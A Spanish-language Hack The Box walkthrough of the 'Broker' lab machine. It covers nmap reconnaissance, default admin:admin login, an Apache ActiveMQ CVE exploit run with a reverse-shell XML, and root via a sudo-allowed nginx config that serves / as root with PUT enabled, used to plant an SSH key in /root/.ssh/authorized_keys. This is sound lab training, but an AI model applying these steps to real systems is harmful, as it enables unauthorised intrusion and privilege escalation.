Broker - Hack The Box
Esta máquina no es tan complicada, en primer lugar, vamos a acceder a un sitio web utilizando credentiales por defecto admin
:admin
, luego buscando en google damos con el cve adecuado para ganar acceso al sistema, para escalar provilegios y convertirnos en root, tendremos que saber cositas, o aprender cositas de nginx, ya vamos a contar con permisos de root para ejecutar este binario.
Reconocimiento
Directorios de trabajo
1
2
3
mkdir broker
cd broker
mkdir nmap content exploit
nmap
1
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -sCV 10.10.11.243 -oN version-port
version-port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
Nmap scan report for 10.10.11.243
Host is up (0.092s latency).
Not shown: 65465 closed tcp ports (reset), 59 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
1337/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/MasterBroker:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
9292/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
42435/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
| http-methods:
|_ Potentially risky methods: TRACE
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- 22: ssh
- OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
- no cuento con credenciales y la version no es tan vulnerable que yo sepa :v
- 80,9292,1337: http
- nginx 1.18.0 (Ubuntu)
- es un servidor web/proxy inverso ligero de alto rendimiento y un proxy para protocolos de correo electrónico.
- 1883: mqtt
- 5672: amqp?
- 8161,61614: http
- Jetty 9.4.39.v20210325
- 42435: tcpwrapped
- 61613: stomp
- Apache ActiveMQ
- 61616: apachemq
- ActiveMQ OpenWire transport
de momento le voy a prestar atención al servicio http, ya saben antes de ponernos a tumbar el servidor hagamos reconocimiento con whatweb y wappalyzer
servicio: http
puerto 80
1
whatweb 10.10.11.243
whatweb
Listo ahora veamos cómo luce la página desde firefox
firefox
Ups, nos pide credenciales, probemos las credenciales más seguras del mundo admin
:admin
:v y funcionaron, estamos dentro del sitio web
wappalyzer
por ahora nada valioso, solo lo que ya sabíamos con nmap lo de nginx
y sistema operativo ubuntu
estaba buscando si la versión de nginx
era vulnerable, pero no conseguí nada, el nombre de la pagina web me llama la atención Apache ActiveMQ
, primero busco algo en searchsploit
searchsploit
1
2
3
4
5
6
7
8
9
10
11
searchsploit active mq
--------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------- ---------------------------------
ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit) | java/remote/42283.rb
Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution | windows/remote/40857.txt
Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure | multiple/remote/33868.txt
Apache ActiveMQ 5.3 - 'admin/queueBrowse' Cross-Site Scripting | multiple/remote/33905.txt
Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit) | windows/remote/48181.rb
--------------------------------------------------------------------------------------------- ---------------------------------
MMMM no veo el típico script en python que nos saca de apuros, intentemos desde google
encontré 3 interesantes, el último está en go
y los dos primeros en python
los 3 funcionan bien, escojan el que les guste, en mi caso voy usar python
porque si :v , entonces me clono el repositorio
detalles de ejecución
modificamos el archivo poc.xml que es el que contiene la reverse shell, lo que tenemos que hacer es poner nuestra ip y el puerto donde vamos a estar en escucha.
primero nos ponemos en escucha por un puerto , luego montamos un servidor local, que comparta el archivo .xml y ejecutamos el script pasando como argumento -p
la ip del servidor Apache ActiveMQ
y -p
es opcional, el siguiente parámetro es -u
la url donde tenemos el servidor hostiando el poc.xml
1
2
python exploit.py -i <target-ip> -p <target-port> -u <url-to-poc.xml>
python exploit.py -i <target-ip> -u <url-to-poc.xml>
intrusion
tratamiento de la tty
tenemos que convertir esto a una consola completamente interactiva
- script /dev/null -c bash
- ctrl + z
- stty raw -echo;fg
- reset xterm
- export TERM=xterm
- export SHELL=bash
- stty rows 27 columns 127
- esto solo aplica para las dimensiones de mi pantalla
flag como usuario activemq
1
2
3
4
5
activemq@broker:~$ ls
user.txt
activemq@broker:~$ cat user.txt
4506493eb5709d428431aec8d46e246b
activemq@broker:~$
escalada de privilegios
vemos si tenemos permisos a nivel de sudoers
1
2
3
4
5
6
activemq@broker:/dev/shm/pepito$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
al parecer puedo ejecutar el binario /usr/sbin/nginx
como root sin proporcionar contraseña, esa es una via potencial de escalar nuestro privilegio ya que nginx
sirve para gestionar servidores web, es decir podemos crear un archivo de configuracion donde diga donde quiero montar el nuevo servidor y tambien decirle a donde va apuntar.
encontré este recurso interesante donde podemos llegar a algo para saber que poner en el archivo de configuración
primer intento
esta configuración nos va permitir listar contenido priviegiado desde la raiz en adelante
- user root;
- indica que el servidor va estar corriendo como el usuario root
- por eso podemos ver contenido privilegiado
- listen 1337;
- el puerto donde va correr nuestro servidor
- root /;
- nuestro servidor va apuntar a esa ruta, que indica el directorio raiz
ahora creamos un archivo .conf
en cualquier ruta del sistena y que tenga el siguiente contenido
1
activemq@broker:/dev/shm$ nano /dev/shm/hola.conf
1
2
3
4
5
6
7
8
9
10
11
user root;
events {
worker_connections 1024;
}
http {
server {
listen 9999;
root /;
autoindex on;
}
}
voy a ver primero si hay algo corriendo en ese puerto
1
activemq@broker:/dev/shm$ netstat -nat | grep 9999
para iniciar el servidor usamos el siguiente comando
1
activemq@broker:/dev/shm$ sudo /usr/sbin/nginx -c /dev/shm/hola.conf
- -c ruta del archivo.conf
vuelvo y miro si ya hay algo en ese puerto
1
2
activemq@broker:/dev/shm$ netstat -nat | grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
ya puedo ver el puerto ocupado, es decir el servicio ya está corriendo, puedo hacer un
1
activemq@broker:/dev/shm$ curl -s localhost:9999
con esto ya puedo ver mucha información del sistema, pero la verdad lo que me interesa es tener una consola como el usuario root, no estár husmeando archivos prohibidos, porque hasta la flag ya la puedo ver, pero no es la idea desde esta posición
segundo intento
hay una forma muy interesante para conseguir una consola como root, la idea es muy parecida a la anterior, pero ahora voy a especificarle que permita implementar un método, es decir que permida pasarle parámetros a la petición, el método es PUT
- método PUT
- El modo PUT reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición.
reemplazo el contenido del archivo anterios con este, no puedo parar el servidor del puerto 9999 y tampoco puedo reutilizarlo, lo mejor es cambiar de puerto, ejemplo 9991
1
2
3
4
5
6
7
8
9
10
11
12
user root;
events {
worker_connections 1024;
}
http {
server {
listen 9991;
root /;
autoindex on;
dav_methods PUT;
}
}
ya saben, primero veo si el puerto está en uso
1
activemq@broker:/dev/shm$ netstat -nat | grep 9991
inicio el servidor
1
activemq@broker:/dev/shm$ sudo /usr/sbin/nginx -c /dev/shm/hola.conf
vuelvo y miro si ya hay algo en ese puerto
1
2
activemq@broker:/dev/shm$ netstat -nat | grep 9991
tcp 0 0 0.0.0.0:9991 0.0.0.0:* LISTEN
listo, y para que todo esto? la idea es crear keys de ssh
1
ssh-keygen
a todo lo que salga de damos enter, eso nos va crear dos archivos en ~/.ssh/
1
2
3
4
ls -l ~/.ssh/
total 8
-rw------- 1 monkeyhack monkeyhack 2602 Nov 11 00:49 id_rsa
-rw-r--r-- 1 monkeyhack monkeyhack 571 Nov 11 00:49 id_rsa.pub
la idea ahora es que el contenido del id_rsa.pub
lo pongamos en ~/.ssh/
de la máquina víctima con el nombre de authorized_keys
. con eso vamos a poder conectarnos por ssh solo pasandole el id_rsa
como argumento
1
activemq@broker:/dev/shm$ curl -X PUT localhost:9991/root/.ssh/authorized_keys -d 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrHt7w1IvJJDuRcxCOUK9VEA8+uocl2dTfMWApRWTaKpS/cBbcopelayIxi+wMxrnhpw2c4PLcm62YEfYkBzs8WiMwY5GYkLeJu1o455kll1KsL9jqi50kaBgdLrLQH7jdil64a0qXZ16whNffUxNODnSzgKUIkprkTJcG+Eee/n+WGWodLuCRWam2P2nFY4G9Z7ctDvCJCt20qMkwBd63yowANh2FkWlSY01F5Yd1iRgvE+1e4t84qH4pD7Tg6290zgtUrXGdD4E8swC8duUDD1gpQscforHZbhCIfc5wP56jYDciEj8HRftGGnch/+Y2Z1Ags1gyOZckYCYZe6b5+Ki9Q6BGUhx62kKaUYuSugo8DrkCBW2Inf21rgEL1fU3gg+Dt0K1iojxLOxpMB4GXZAemPelbB0Pg0AtybLy54Aw+cn76Z0Xa7+qY+nVfP3Xrfxnbo3iIRV1v/bAqVBheQBvEgbPkoKta6nhXQcfasdfasdf+Q0Af1iL3yU= monkeyhack@parrot'
y desde mi equipo hago lo siguiente
1
ssh root@10.10.11.243 -i id_rsa
y ya estoy dentro como root
1
2
3
4
root@broker:~# ls
cleanup.sh root.txt
root@broker:~# cat root.txt
01345d13d6c2ccde98538a7d8c2f46dc